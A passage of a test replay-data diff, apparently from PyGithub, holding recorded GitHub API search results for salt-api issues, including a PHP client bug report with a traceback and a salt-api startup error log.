'19065'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('cache-control', 'no-cache'), ('date', 'Sun, 16 Mar 2014 17:46:56 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1394992076')] {"total_count":6,"items":[{"url":"https://api.github.com/repos/saltstack/salt-api/issues/144","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/144/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/144/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/144/events","html_url":"https://github.com/saltstack/salt-api/pull/144","id":29138794,"number":144,"title":"tools.cpstats.on needs to be placed under root","user":{"login":"LucasEwalt","id":193133,"avatar_url":"https://gravatar.com/avatar/34a7644f0fd54bbc2c41e0f34b0ef1ea?d=https%3A%2F%2Fidenticons.github.com%2Fd1ea33a87ab250461f229f3be959de3b.png&r=x","gravatar_id":"34a7644f0fd54bbc2c41e0f34b0ef1ea","url":"https://api.github.com/users/LucasEwalt","html_url":"https://github.com/LucasEwalt","followers_url":"https://api.github.com/users/LucasEwalt/followers","following_url":"https://api.github.com/users/LucasEwalt/following{/other_user}","gists_url":"https://api.github.com/users/LucasEwalt/gists{/gist_id}","starred_url":"https://api.github.com/users/LucasEwalt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LucasEwalt/subscriptions","organizations_url":"https://api.github.com/users/LucasEwalt/orgs","repos_url":"https://api.github.com/users/LucasEwalt/repos","events_url":"https://api.github.com/users/LucasEwalt/events{/privacy}","received_events_url":"https://api.github.com/users/LucasEwalt/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":0,"created_at":"2014-03-10T22:31:05Z","updated_at":"2014-03-10T22:32:46Z","closed_at":"2014-03-10T22:32:46Z","pull_request":{"html_url":"https://github.com/saltstack/salt-api/pull/144","diff_url":"https://github.com/saltstack/salt-api/pull/144.diff","patch_url":"https://github.com/saltstack/salt-api/pull/144.patch"},"body":"Small error, tools.cpstats.on actually needs to be under root for metrics to be collected for all requests.","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/143","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/143/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/143/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/143/events","html_url":"https://github.com/saltstack/salt-api/pull/143","id":29119248,"number":143,"title":"Expose cherrypy metrics","user":{"login":"LucasEwalt","id":193133,"avatar_url":"https://gravatar.com/avatar/34a7644f0fd54bbc2c41e0f34b0ef1ea?d=https%3A%2F%2Fidenticons.github.com%2Fd1ea33a87ab250461f229f3be959de3b.png&r=x","gravatar_id":"34a7644f0fd54bbc2c41e0f34b0ef1ea","url":"https://api.github.com/users/LucasEwalt","html_url":"https://github.com/LucasEwalt","followers_url":"https://api.github.com/users/LucasEwalt/followers","following_url":"https://api.github.com/users/LucasEwalt/following{/other_user}","gists_url":"https://api.github.com/users/LucasEwalt/gists{/gist_id}","starred_url":"https://api.github.com/users/LucasEwalt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LucasEwalt/subscriptions","organizations_url":"https://api.github.com/users/LucasEwalt/orgs","repos_url":"https://api.github.com/users/LucasEwalt/repos","events_url":"https://api.github.com/users/LucasEwalt/events{/privacy}","received_events_url":"https://api.github.com/users/LucasEwalt/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":4,"created_at":"2014-03-10T18:20:29Z","updated_at":"2014-03-11T15:56:02Z","closed_at":"2014-03-10T22:08:21Z","pull_request":{"html_url":"https://github.com/saltstack/salt-api/pull/143","diff_url":"https://github.com/saltstack/salt-api/pull/143.diff","patch_url":"https://github.com/saltstack/salt-api/pull/143.patch"},"body":"Expose cherrycp cpstats via /stats URI. http://docs.cherrypy.org/en/latest/refman/lib/cpstats.html?highlight=cpstats#module-cherrypy.lib.cpstats","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/142","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/142/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/142/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/142/events","html_url":"https://github.com/saltstack/salt-api/issues/142","id":29074591,"number":142,"title":"Use PHP to call API ,produce 400 Bad Request:Lowstates must be a list","user":{"login":"ivanwa","id":6895983,"avatar_url":"https://gravatar.com/avatar/5449da031675d985e6fb03f1d81dd6c2?d=https%3A%2F%2Fidenticons.github.com%2Fc7fd88fd0ac6e13142c23c2f1232baf5.png&r=x","gravatar_id":"5449da031675d985e6fb03f1d81dd6c2","url":"https://api.github.com/users/ivanwa","html_url":"https://github.com/ivanwa","followers_url":"https://api.github.com/users/ivanwa/followers","following_url":"https://api.github.com/users/ivanwa/following{/other_user}","gists_url":"https://api.github.com/users/ivanwa/gists{/gist_id}","starred_url":"https://api.github.com/users/ivanwa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ivanwa/subscriptions","organizations_url":"https://api.github.com/users/ivanwa/orgs","repos_url":"https://api.github.com/users/ivanwa/repos","events_url":"https://api.github.com/users/ivanwa/events{/privacy}","received_events_url":"https://api.github.com/users/ivanwa/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2014-03-10T06:15:11Z","updated_at":"2014-03-11T14:09:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"An error message:\r\n400 Bad Request\r\n\r\nLowstates must be a list\r\n\r\nTraceback (most recent call last):\r\n File \"/usr/lib/python2.6/site-packages/cherrypy/_cprequest.py\", line 656, in respond\r\n response.body = self.handler()\r\n File \"/usr/lib/python2.6/site-packages/cherrypy/lib/encoding.py\", line 188, in __call__\r\n self.body = self.oldhandler(*args, **kwargs)\r\n File \"/usr/lib/python2.6/site-packages/saltapi/netapi/rest_cherrypy/app.py\", line 273, in hypermedia_handler\r\n ret = cherrypy.serving.request._hypermedia_inner_handler(*args, **kwargs)\r\n File \"/usr/lib/python2.6/site-packages/cherrypy/_cpdispatch.py\", line 34, in __call__\r\n return self.callable(*self.args, **self.kwargs)\r\n File \"/usr/lib/python2.6/site-packages/saltapi/netapi/rest_cherrypy/app.py\", line 1074, in POST\r\n 'return': list(self.exec_lowstate()),\r\n File \"/usr/lib/python2.6/site-packages/saltapi/netapi/rest_cherrypy/app.py\", line 490, in exec_lowstate\r\n raise cherrypy.HTTPError(400, 'Lowstates must be a list')\r\nHTTPError: (400, 'Lowstates must be a list')\r\n\r\n--------------------------------------------------------------------------------------------------------------------------------\r\nAnd I use the command line to run, but it can be successful.\r\n[root@localhost salt]# curl -k https://192.168.1.159:8000/run/ \\\r\n> -H \"Accept: application/x-yaml\" \\\r\n> -d username='saltapi' \\\r\n> -d password='123456' \\\r\n> -d eauth='pam' \\\r\n> -d client='local' \\\r\n> -d tgt='*' \\\r\n> -d fun='test.ping'\r\nreturn:\r\n- {}\r\n\r\n--------------------------------------------------------------------------------------------------------------------------------\r\nMy PHP script : index.php\r\n$url = \"https://192.168.1.159:8000/run\";\r\n$post_data = array (\r\n\t\t\"username\" => \"saltapi\",\r\n\t\t\"password\" => \"123456\",\r\n\t\t\"eauth\" => \"pam\",\r\n\t\t\"client\" => \"local\",\r\n\t\t\"tgt\" => \"*\",\r\n\t\t\"fun\" => \"test.ping\",\r\n\t\t\"arg\"=>\"\"\r\n);\r\n$ch = curl_init ();\r\ncurl_setopt ( $ch, CURLOPT_URL, $url );\r\ncurl_setopt ( $ch, CURLOPT_SSL_VERIFYPEER, false );\r\ncurl_setopt ( $ch, CURLOPT_SSL_VERIFYHOST, false );\r\ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(\"Content-type: application/x-www-form-urlencoded\",'Expect:'));\r\ncurl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );\r\n\r\ncurl_setopt ( $ch, CURLOPT_POST, 1 );\r\ncurl_setopt ( $ch, CURLOPT_POSTFIELDS, $post_data );\r\n$output = curl_exec ( $ch );\r\ncurl_close ( $ch );\r\n// print\r\nprint_r ( $output );\r\n\r\n--------------------------------------------------------------------------------------------------------------------------------\r\nMy master:\r\ninterface: 192.168.1.159\r\n\r\nrest_cherrypy:\r\n host: 0.0.0.0\r\n port: 8000\r\n debug: true\r\n static: /salt-webui/halite/halite\r\n app: /salt-webui/halite/halite\r\n ssl_crt: /etc/pki/tls/certs/localhost.crt\r\n ssl_key: /etc/pki/tls/private/localhost_nopass.key\r\n\r\nexternal_auth:\r\n pam:\r\n saltapi:\r\n - .*","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/141","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/141/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/141/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/141/events","html_url":"https://github.com/saltstack/salt-api/issues/141","id":28842635,"number":141,"title":"get error when start salt-api [ERROR ] Not loading 'rest_wsgi'. 'port' not specified in config","user":{"login":"justlooks","id":295168,"avatar_url":"https://gravatar.com/avatar/ca2d4ef0024cd926cc7a6218f7a4aed8?d=https%3A%2F%2Fidenticons.github.com%2F32491008424b6a810a81a3bfd7c139a9.png&r=x","gravatar_id":"ca2d4ef0024cd926cc7a6218f7a4aed8","url":"https://api.github.com/users/justlooks","html_url":"https://github.com/justlooks","followers_url":"https://api.github.com/users/justlooks/followers","following_url":"https://api.github.com/users/justlooks/following{/other_user}","gists_url":"https://api.github.com/users/justlooks/gists{/gist_id}","starred_url":"https://api.github.com/users/justlooks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/justlooks/subscriptions","organizations_url":"https://api.github.com/users/justlooks/orgs","repos_url":"https://api.github.com/users/justlooks/repos","events_url":"https://api.github.com/users/justlooks/events{/privacy}","received_events_url":"https://api.github.com/users/justlooks/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2014-03-06T01:23:22Z","updated_at":"2014-03-06T02:31:20Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"# service salt-api start\r\nStarting salt-api daemon: [ERROR ] Not loading 'rest_wsgi'. 'port' not specified in config\r\n[06/Mar/2014:09:20:31] ENGINE Listening for SIGHUP.\r\n[06/Mar/2014:09:20:31] ENGINE Listening for SIGTERM.\r\n[06/Mar/2014:09:20:31] ENGINE Listening for SIGUSR1.\r\n[06/Mar/2014:09:20:31] ENGINE Bus STARTING\r\nCherryPy Checker:\r\n'log_file' is obsolete. Use 'log.error_file' instead.\r\nsection: [saltopts]\r\n\r\n[06/Mar/2014:09:20:31] ENGINE Started monitor thread '_TimeoutMonitor'.\r\n[06/Mar/2014:09:20:31] ENGINE Started monitor thread 'Autoreloader'.\r\n[06/Mar/2014:09:20:31] ENGINE Serving on 0.0.0.0:8888\r\n[06/Mar/2014:09:20:31] ENGINE Bus STARTED\r\n","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/73","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/73/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/73/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/73/events","html_url":"https://github.com/saltstack/salt-api/issues/73","id":13141224,"number":73,"title":"Add a zero-dep, bare-WSGI REST module","user":{"login":"whiteinge","id":91293,"avatar_url":"https://gravatar.com/avatar/f0bb4c8e95d355891ab9028e4bac480e?d=https%3A%2F%2Fidenticons.github.com%2Fa310e640ddcc1bf22c861dddb9ff4f76.png&r=x","gravatar_id":"f0bb4c8e95d355891ab9028e4bac480e","url":"https://api.github.com/users/whiteinge","html_url":"https://github.com/whiteinge","followers_url":"https://api.github.com/users/whiteinge/followers","following_url":"https://api.github.com/users/whiteinge/following{/other_user}","gists_url":"https://api.github.com/users/whiteinge/gists{/gist_id}","starred_url":"https://api.github.com/users/whiteinge/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/whiteinge/subscriptions","organizations_url":"https://api.github.com/users/whiteinge/orgs","repos_url":"https://api.github.com/users/whiteinge/repos","events_url":"https://api.github.com/users/whiteinge/events{/privacy}","received_events_url":"https://api.github.com/users/whiteinge/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/saltstack/salt-api/labels/0+-+Backlog","name":"0 - Backlog","color":"CCCCCC"}],"state":"closed","assignee":null,"milestone":{"url":"https://api.github.com/repos/saltstack/salt-api/milestones/2","labels_url":"https://api.github.com/repos/saltstack/salt-api/milestones/2/labels","id":187473,"number":2,"title":"Approved for future release","description":"","creator":{"login":"thatch45","id":507599,"avatar_url":"https://gravatar.com/avatar/ff7bc69b52eecf808141c470543db4f3?d=https%3A%2F%2Fidenticons.github.com%2F6a6eafefee200db675061e2df14be5f7.png&r=x","gravatar_id":"ff7bc69b52eecf808141c470543db4f3","url":"https://api.github.com/users/thatch45","html_url":"https://github.com/thatch45","followers_url":"https://api.github.com/users/thatch45/followers","following_url":"https://api.github.com/users/thatch45/following{/other_user}","gists_url":"https://api.github.com/users/thatch45/gists{/gist_id}","starred_url":"https://api.github.com/users/thatch45/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thatch45/subscriptions","organizations_url":"https://api.github.com/users/thatch45/orgs","repos_url":"https://api.github.com/users/thatch45/repos","events_url":"https://api.github.com/users/thatch45/events{/privacy}","received_events_url":"https://api.github.com/users/thatch45/received_events","type":"User","site_admin":false},"open_issues":1,"closed_issues":7,"state":"open","created_at":"2012-10-01T17:16:46Z","updated_at":"2014-03-04T18:08:09Z","due_on":null},"comments":1,"created_at":"2013-04-12T21:56:30Z","updated_at":"2014-03-04T21:13:47Z","closed_at":"2013-04-13T05:57:19Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"A bare-bones \"REST\" WSGI app could be accomplished with just the Python stdlib in about ~200 LOC so we might as well. :)\r\n\r\n* Only handles JSON in/out.\r\n* Only provide a single URL.\r\n* Basically mimic the ``/run`` URL in the ``rest_cherrypy`` module.","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/49","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/49/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/49/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/49/events","html_url":"https://github.com/saltstack/salt-api/issues/49","id":11388256,"number":49,"title":"More information in jobs resource response","user":{"login":"sfdc-kho","id":3269880,"avatar_url":"https://gravatar.com/avatar/79dd31020b3bea2124d60cb5e3cd2edf?d=https%3A%2F%2Fidenticons.github.com%2Fad2f6831adfe0801e929c20710d3e537.png&r=x","gravatar_id":"79dd31020b3bea2124d60cb5e3cd2edf","url":"https://api.github.com/users/sfdc-kho","html_url":"https://github.com/sfdc-kho","followers_url":"https://api.github.com/users/sfdc-kho/followers","following_url":"https://api.github.com/users/sfdc-kho/following{/other_user}","gists_url":"https://api.github.com/users/sfdc-kho/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdc-kho/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdc-kho/subscriptions","organizations_url":"https://api.github.com/users/sfdc-kho/orgs","repos_url":"https://api.github.com/users/sfdc-kho/repos","events_url":"https://api.github.com/users/sfdc-kho/events{/privacy}","received_events_url":"https://api.github.com/users/sfdc-kho/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/saltstack/salt-api/labels/0+-+Backlog","name":"0 - Backlog","color":"CCCCCC"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/saltstack/salt-api/milestones/2","labels_url":"https://api.github.com/repos/saltstack/salt-api/milestones/2/labels","id":187473,"number":2,"title":"Approved for future release","description":"","creator":{"login":"thatch45","id":507599,"avatar_url":"https://gravatar.com/avatar/ff7bc69b52eecf808141c470543db4f3?d=https%3A%2F%2Fidenticons.github.com%2F6a6eafefee200db675061e2df14be5f7.png&r=x","gravatar_id":"ff7bc69b52eecf808141c470543db4f3","url":"https://api.github.com/users/thatch45","html_url":"https://github.com/thatch45","followers_url":"https://api.github.com/users/thatch45/followers","following_url":"https://api.github.com/users/thatch45/following{/other_user}","gists_url":"https://api.github.com/users/thatch45/gists{/gist_id}","starred_url":"https://api.github.com/users/thatch45/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thatch45/subscriptions","organizations_url":"https://api.github.com/users/thatch45/orgs","repos_url":"https://api.github.com/users/thatch45/repos","events_url":"https://api.github.com/users/thatch45/events{/privacy}","received_events_url":"https://api.github.com/users/thatch45/received_events","type":"User","site_admin":false},"open_issues":1,"closed_issues":7,"state":"open","created_at":"2012-10-01T17:16:46Z","updated_at":"2014-03-04T18:08:09Z","due_on":null},"comments":4,"created_at":"2013-02-26T00:44:05Z","updated_at":"2014-03-04T18:28:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Currently, the minion response when a job hasn't completed is:\r\nbash-3.2$ curl -i localhost:8000/jobs/20130225115005304834 \\\r\n> -H \"X-Auth-Token: 129c6a5dadd1463932fd9db452b52148c44c6c91\" \\\r\n> -H \"Accept: application/json\"\r\nHTTP/1.1 200 OK\r\nContent-Length: 16\r\nVary: Accept-Encoding\r\nServer: CherryPy/3.2.2\r\nAllow: GET, HEAD, POST\r\nCache-Control: private\r\nDate: Mon, 25 Feb 2013 19:50:12 GMT\r\nContent-Type: application/json\r\nSet-Cookie: session_id=129c6a5dadd1463932fd9db452b52148c44c6c91; expires=Tue, 26 Feb 2013 05:50:12 GMT; Path=/\r\n\r\n{\"return\": [{}]}\r\n\r\nI am using this and a combination of saltutil.running to determine whether the job is still running, dead or completed. However, if the other issues like streaming responses get incorporated, it will become increasingly difficult to detect the state of any given job. Is it possible to return more information about what the state of the job is in the response?\r\n\r\n\r\n","score":1.0}]} - diff --git a/tests/ReplayData/Search.testUrlquotingOfQuery.txt b/tests/ReplayData/Search.testUrlquotingOfQuery.txt index d4ad390078..6706f87871 100644 --- a/tests/ReplayData/Search.testUrlquotingOfQuery.txt +++ b/tests/ReplayData/Search.testUrlquotingOfQuery.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '29'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:490B:3BB7A87:5325E2ED'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '19065'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('cache-control', 'no-cache'), ('date', 'Sun, 16 Mar 2014 17:44:14 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1394991914')] {"total_count":6,"items":[{"url":"https://api.github.com/repos/saltstack/salt-api/issues/144","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/144/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/144/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/144/events","html_url":"https://github.com/saltstack/salt-api/pull/144","id":29138794,"number":144,"title":"tools.cpstats.on needs to be placed under root","user":{"login":"LucasEwalt","id":193133,"avatar_url":"https://gravatar.com/avatar/34a7644f0fd54bbc2c41e0f34b0ef1ea?d=https%3A%2F%2Fidenticons.github.com%2Fd1ea33a87ab250461f229f3be959de3b.png&r=x","gravatar_id":"34a7644f0fd54bbc2c41e0f34b0ef1ea","url":"https://api.github.com/users/LucasEwalt","html_url":"https://github.com/LucasEwalt","followers_url":"https://api.github.com/users/LucasEwalt/followers","following_url":"https://api.github.com/users/LucasEwalt/following{/other_user}","gists_url":"https://api.github.com/users/LucasEwalt/gists{/gist_id}","starred_url":"https://api.github.com/users/LucasEwalt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LucasEwalt/subscriptions","organizations_url":"https://api.github.com/users/LucasEwalt/orgs","repos_url":"https://api.github.com/users/LucasEwalt/repos","events_url":"https://api.github.com/users/LucasEwalt/events{/privacy}","received_events_url":"https://api.github.com/users/LucasEwalt/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":0,"created_at":"2014-03-10T22:31:05Z","updated_at":"2014-03-10T22:32:46Z","closed_at":"2014-03-10T22:32:46Z","pull_request":{"html_url":"https://github.com/saltstack/salt-api/pull/144","diff_url":"https://github.com/saltstack/salt-api/pull/144.diff","patch_url":"https://github.com/saltstack/salt-api/pull/144.patch"},"body":"Small error, tools.cpstats.on actually needs to be under root for metrics to be collected for all requests.","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/143","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/143/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/143/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/143/events","html_url":"https://github.com/saltstack/salt-api/pull/143","id":29119248,"number":143,"title":"Expose cherrypy metrics","user":{"login":"LucasEwalt","id":193133,"avatar_url":"https://gravatar.com/avatar/34a7644f0fd54bbc2c41e0f34b0ef1ea?d=https%3A%2F%2Fidenticons.github.com%2Fd1ea33a87ab250461f229f3be959de3b.png&r=x","gravatar_id":"34a7644f0fd54bbc2c41e0f34b0ef1ea","url":"https://api.github.com/users/LucasEwalt","html_url":"https://github.com/LucasEwalt","followers_url":"https://api.github.com/users/LucasEwalt/followers","following_url":"https://api.github.com/users/LucasEwalt/following{/other_user}","gists_url":"https://api.github.com/users/LucasEwalt/gists{/gist_id}","starred_url":"https://api.github.com/users/LucasEwalt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LucasEwalt/subscriptions","organizations_url":"https://api.github.com/users/LucasEwalt/orgs","repos_url":"https://api.github.com/users/LucasEwalt/repos","events_url":"https://api.github.com/users/LucasEwalt/events{/privacy}","received_events_url":"https://api.github.com/users/LucasEwalt/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":4,"created_at":"2014-03-10T18:20:29Z","updated_at":"2014-03-11T15:56:02Z","closed_at":"2014-03-10T22:08:21Z","pull_request":{"html_url":"https://github.com/saltstack/salt-api/pull/143","diff_url":"https://github.com/saltstack/salt-api/pull/143.diff","patch_url":"https://github.com/saltstack/salt-api/pull/143.patch"},"body":"Expose cherrycp cpstats via /stats URI. http://docs.cherrypy.org/en/latest/refman/lib/cpstats.html?highlight=cpstats#module-cherrypy.lib.cpstats","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/142","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/142/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/142/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/142/events","html_url":"https://github.com/saltstack/salt-api/issues/142","id":29074591,"number":142,"title":"Use PHP to call API ,produce 400 Bad Request:Lowstates must be a list","user":{"login":"ivanwa","id":6895983,"avatar_url":"https://gravatar.com/avatar/5449da031675d985e6fb03f1d81dd6c2?d=https%3A%2F%2Fidenticons.github.com%2Fc7fd88fd0ac6e13142c23c2f1232baf5.png&r=x","gravatar_id":"5449da031675d985e6fb03f1d81dd6c2","url":"https://api.github.com/users/ivanwa","html_url":"https://github.com/ivanwa","followers_url":"https://api.github.com/users/ivanwa/followers","following_url":"https://api.github.com/users/ivanwa/following{/other_user}","gists_url":"https://api.github.com/users/ivanwa/gists{/gist_id}","starred_url":"https://api.github.com/users/ivanwa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ivanwa/subscriptions","organizations_url":"https://api.github.com/users/ivanwa/orgs","repos_url":"https://api.github.com/users/ivanwa/repos","events_url":"https://api.github.com/users/ivanwa/events{/privacy}","received_events_url":"https://api.github.com/users/ivanwa/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2014-03-10T06:15:11Z","updated_at":"2014-03-11T14:09:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"An error message:\r\n400 Bad Request\r\n\r\nLowstates must be a list\r\n\r\nTraceback (most recent call last):\r\n File \"/usr/lib/python2.6/site-packages/cherrypy/_cprequest.py\", line 656, in respond\r\n response.body = self.handler()\r\n File \"/usr/lib/python2.6/site-packages/cherrypy/lib/encoding.py\", line 188, in __call__\r\n self.body = self.oldhandler(*args, **kwargs)\r\n File \"/usr/lib/python2.6/site-packages/saltapi/netapi/rest_cherrypy/app.py\", line 273, in hypermedia_handler\r\n ret = cherrypy.serving.request._hypermedia_inner_handler(*args, **kwargs)\r\n File \"/usr/lib/python2.6/site-packages/cherrypy/_cpdispatch.py\", line 34, in __call__\r\n return self.callable(*self.args, **self.kwargs)\r\n File \"/usr/lib/python2.6/site-packages/saltapi/netapi/rest_cherrypy/app.py\", line 1074, in POST\r\n 'return': list(self.exec_lowstate()),\r\n File \"/usr/lib/python2.6/site-packages/saltapi/netapi/rest_cherrypy/app.py\", line 490, in exec_lowstate\r\n raise cherrypy.HTTPError(400, 'Lowstates must be a list')\r\nHTTPError: (400, 'Lowstates must be a list')\r\n\r\n--------------------------------------------------------------------------------------------------------------------------------\r\nAnd I use the command line to run, but it can be successful.\r\n[root@localhost salt]# curl -k https://192.168.1.159:8000/run/ \\\r\n> -H \"Accept: application/x-yaml\" \\\r\n> -d username='saltapi' \\\r\n> -d password='123456' \\\r\n> -d eauth='pam' \\\r\n> -d client='local' \\\r\n> -d tgt='*' \\\r\n> -d fun='test.ping'\r\nreturn:\r\n- {}\r\n\r\n--------------------------------------------------------------------------------------------------------------------------------\r\nMy PHP script : index.php\r\n$url = \"https://192.168.1.159:8000/run\";\r\n$post_data = array (\r\n\t\t\"username\" => \"saltapi\",\r\n\t\t\"password\" => \"123456\",\r\n\t\t\"eauth\" => \"pam\",\r\n\t\t\"client\" => \"local\",\r\n\t\t\"tgt\" => \"*\",\r\n\t\t\"fun\" => \"test.ping\",\r\n\t\t\"arg\"=>\"\"\r\n);\r\n$ch = curl_init ();\r\ncurl_setopt ( $ch, CURLOPT_URL, $url );\r\ncurl_setopt ( $ch, CURLOPT_SSL_VERIFYPEER, false );\r\ncurl_setopt ( $ch, CURLOPT_SSL_VERIFYHOST, false );\r\ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(\"Content-type: application/x-www-form-urlencoded\",'Expect:'));\r\ncurl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );\r\n\r\ncurl_setopt ( $ch, CURLOPT_POST, 1 );\r\ncurl_setopt ( $ch, CURLOPT_POSTFIELDS, $post_data );\r\n$output = curl_exec ( $ch );\r\ncurl_close ( $ch );\r\n// print\r\nprint_r ( $output );\r\n\r\n--------------------------------------------------------------------------------------------------------------------------------\r\nMy master:\r\ninterface: 192.168.1.159\r\n\r\nrest_cherrypy:\r\n host: 0.0.0.0\r\n port: 8000\r\n debug: true\r\n static: /salt-webui/halite/halite\r\n app: /salt-webui/halite/halite\r\n ssl_crt: /etc/pki/tls/certs/localhost.crt\r\n ssl_key: /etc/pki/tls/private/localhost_nopass.key\r\n\r\nexternal_auth:\r\n pam:\r\n saltapi:\r\n - .*","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/141","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/141/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/141/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/141/events","html_url":"https://github.com/saltstack/salt-api/issues/141","id":28842635,"number":141,"title":"get error when start salt-api [ERROR ] Not loading 'rest_wsgi'. 'port' not specified in config","user":{"login":"justlooks","id":295168,"avatar_url":"https://gravatar.com/avatar/ca2d4ef0024cd926cc7a6218f7a4aed8?d=https%3A%2F%2Fidenticons.github.com%2F32491008424b6a810a81a3bfd7c139a9.png&r=x","gravatar_id":"ca2d4ef0024cd926cc7a6218f7a4aed8","url":"https://api.github.com/users/justlooks","html_url":"https://github.com/justlooks","followers_url":"https://api.github.com/users/justlooks/followers","following_url":"https://api.github.com/users/justlooks/following{/other_user}","gists_url":"https://api.github.com/users/justlooks/gists{/gist_id}","starred_url":"https://api.github.com/users/justlooks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/justlooks/subscriptions","organizations_url":"https://api.github.com/users/justlooks/orgs","repos_url":"https://api.github.com/users/justlooks/repos","events_url":"https://api.github.com/users/justlooks/events{/privacy}","received_events_url":"https://api.github.com/users/justlooks/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2014-03-06T01:23:22Z","updated_at":"2014-03-06T02:31:20Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"# service salt-api start\r\nStarting salt-api daemon: [ERROR ] Not loading 'rest_wsgi'. 'port' not specified in config\r\n[06/Mar/2014:09:20:31] ENGINE Listening for SIGHUP.\r\n[06/Mar/2014:09:20:31] ENGINE Listening for SIGTERM.\r\n[06/Mar/2014:09:20:31] ENGINE Listening for SIGUSR1.\r\n[06/Mar/2014:09:20:31] ENGINE Bus STARTING\r\nCherryPy Checker:\r\n'log_file' is obsolete. Use 'log.error_file' instead.\r\nsection: [saltopts]\r\n\r\n[06/Mar/2014:09:20:31] ENGINE Started monitor thread '_TimeoutMonitor'.\r\n[06/Mar/2014:09:20:31] ENGINE Started monitor thread 'Autoreloader'.\r\n[06/Mar/2014:09:20:31] ENGINE 